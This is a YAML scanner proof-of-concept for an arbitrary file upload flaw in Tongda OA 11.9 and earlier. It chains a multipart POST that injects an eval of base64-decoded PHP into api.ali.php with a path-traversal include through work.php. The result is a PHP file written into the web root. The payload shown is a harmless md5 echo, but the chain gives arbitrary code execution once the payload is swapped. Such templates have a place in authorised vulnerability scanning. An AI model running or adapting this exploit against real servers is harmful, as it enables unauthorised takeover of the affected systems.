name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
set:
  filename: randomLowercase(8)
  r1: randomLowercase(8)
  payload: base64("file_put_contents('../../"+filename+".php','<?php echo(md5("+r1+"));?>');")
  rboundary: md5(randomLowercase(8))
  date: TDdate()
rules:
  - method: POST
    path: /mobile/api/api.ali.php
    headers:
      Content-Type: multipart/form-data; boundary={{rboundary}}
      Accept-Encoding: gzip
    follow_redirects: false
    body: "\
      --{{rboundary}}\r\n\
      Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\
      Content-Type: application/octet-stream\r\n\
      \r\n\
      {\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\
      --{{rboundary}}--\r\n\
      "
    expression: |
      response.status == 200

  - method: GET
    path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}}
    expression: |
      response.status == 200 && response.body.bcontains(b'OK')

  - method: GET
    path: /{{filename}}.php
    expression: |
      response.status == 200 && response.body.bcontains(bytes(md5(r1)))

detail:
  author: PeiQi0
  influence_version: "<= 通达OA 11.9"
  links:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  tags: tongda,fileupload